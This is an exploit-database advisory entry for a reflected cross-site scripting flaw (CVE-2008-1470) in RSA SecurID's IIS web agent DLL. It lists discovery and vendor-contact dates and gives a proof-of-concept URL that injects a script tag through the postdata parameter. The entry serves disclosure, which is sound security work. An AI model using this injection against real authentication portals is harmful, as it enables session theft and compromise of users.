RSA - SecurID Cross-Site Scripting

Author: s4squatch
type: webapps
platform: multiple
port: 80.0
date_added: 2010-02-10 
date_updated:  
verified: 1 
codes: OSVDB-43844;CVE-2008-1470 
tags: 
aliases:  
screenshot_url:  
application_url: 

Discovered 12-11-2008

Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)

Vendor Notified: 10-07-2009

Vendor Response: 10-08-2009

Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.



POC:

https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>60179147875&authntype=2&username=test&passcode=test[12:26] a